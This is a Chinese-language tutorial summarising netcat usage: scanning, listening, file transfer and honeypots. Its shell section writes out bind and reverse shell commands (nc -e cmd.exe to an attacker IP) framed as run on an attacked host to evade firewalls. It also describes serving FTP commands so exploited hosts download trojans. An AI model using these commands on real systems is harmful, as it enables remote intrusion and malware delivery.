netcat 瑞士军刀-学习整理
- 什么是NetCat -nc ?
netcat所做的就是在两台电脑之间建立链接并返回两个数据流,能当作服务器,文件传输,聊天,流媒体文件传输,更能当作黑客工具。
- netcat下载
下载地址:https://eternallybored.org/misc/netcat/
为了方便使用,请将nc所在路径加入环境变量中。
- netcat 命令:
-h 查看帮助信息 -d 后台模式 -e prog程序重定向,一但连接就执行[危险] -i secs延时的间隔 -l 监听模式,用于入站连接 -L 监听模式,连接天闭后仍然继续监听,直到CTR+C -n IP地址,不能用域名 -o film记录16进制的传输 -p[空格]端口 本地端口号 -r 随机本地及远程端口 -t 使用Telnet交互方式 -u UDP模式 -v 详细输出,用-vv将更详细 -w数字 timeout延时间隔 -z 将输入,输出关掉(用于扫锚时)
- 端口扫描
#1. 单个端口扫描 nc -v -z 192.168.118.134 80 #2. 多端口扫描,扫描60-100所有端口 nc -v -z 192.168.118.134 60-100 -v:显示详细结果,使用-vv显示的更加的详细 -z: 扫描的时候使用,关闭输入输出(I/O) 可以加入-n 参数,用于加快扫描,即不进行域名解析,只能用IP
一旦发现端口 可以通过nc 连接命令(nc -nv IP PORT)获取对应端口服务的banner信息。
- 端口监听 (充当服务端)
# 开启 8888端口,进行监听,用于入站连接 nc -l -v -p 8888 -l: 监听模式,用于监测入站信息 -v: 显示详细信息 -p: 后面跟端口号,指定监听的开放的端口 # 将监听信息写入 本地文件 nc -l -v -p 8888 > log.txt 上面的监听都是一次性,如果长久建立监听使用-L命令,循环处于监听模式 通常可以作为蜜罐,或欺骗扫描器,加上-u 参数指定协议为UDP,如果不指定默认是TCP 当处于监听模式时,可以通过浏览器访问对应的IP和端口http://127.0.0.1:8888
- 获取Shell -- 使用程序重定向
# 服务端 nc -lv -p 2223 -t -e cmd.exe -t: 采用telnet的形式来应答 -e: 作用就是对程序进行重定向,后面指定的是程序名称,也可以是其他的程序或木马等 如果某台主机执行了上面的那条命令,就相当于一台肉鸡,只要网络畅通就可以使用nc 连上这台主机,cmd.exe就跟 2223端口绑定上了,在linux中可以指定/bin/bash,这就好比telnet不需要密码和用户名进入了对方的主机 # 一有连接通过2223端口接入就执行程序cmd.exe并把cmd.exe结果重定向到这个2223端口 # 客户端连接: nc -n 192.168.118.134 2223 这个时候会获取一个shell,这种方式一般容易被监测和防火墙禁止,所以可以采用反向链接的方式,让服务器主动抛出请求 开启本地主机的监听: nc -l -p 9999 攻击目标主机执行: nc -e cmd.exe 192.168.31.122 9999 192.168.31.122开启监听服务的IP,这样被攻击的服务器会主动连接指定IP和端口 让server端主动发送请求连接就能绕过防火墙,一般防火墙很少对出站做限制
- 文件传送
之前可能都是用的 ftp,scp,smb等,但是这些服务都需要去安装还有比较繁琐的配置,使用nc可以很简单的解决文件传输的问题,只需要在传送文件的任意一台主机开启监听(服务端)
就可以实现。
# 1. 本地文件传送至server端 远程服务器端:(ip : 192.168.118.134) 接收文件 nc -lvp 2221 > 123.txt 将接收的数据写入到123.txt中 本地主机端: 发送文件 nc -n 192.168.118.134 < c:/1.txt 以上就实现了本地文件c:/1.txt 传送到远程服务器上,在远程服务上可以将接收的数据写入到指定的路径下的文件中 将远程服务器文件下载到本地,只要改变一下重定向的方向即可 server端: 发送文件 nc -lvp 2221 < 123.txt 本地端: 接收文件 nc -n 192.168.118.134 > 123.txt
注意:无论上面的哪一种,都是需要先启用服务端,然后再启用客户端
- 其他高级用法
#1. 做蜜罐 nc -L -p 3389 做蜜罐,不停地监听3389端口 nc -L -p 3389>c:\log.txt 做蜜罐,不停地监听3389端口,同时把结果输出到c:\log.txt nc -L -p 3389<c:\ftp.txt 不停地监听3389端口,并把c:\ftp.txt中内容发给连接本端口的主机,可起到传送文件作用.(此用法经常用于反向溢出) #2.溢出用: nc -L -p 8989<c:\ftp.txt (ftp.txt中为FTP自动下载命令) 效果:一但溢出的主机连接8989端口就会自动用FTP下载指定的文件,如木马.(此法经常用于批量溢出)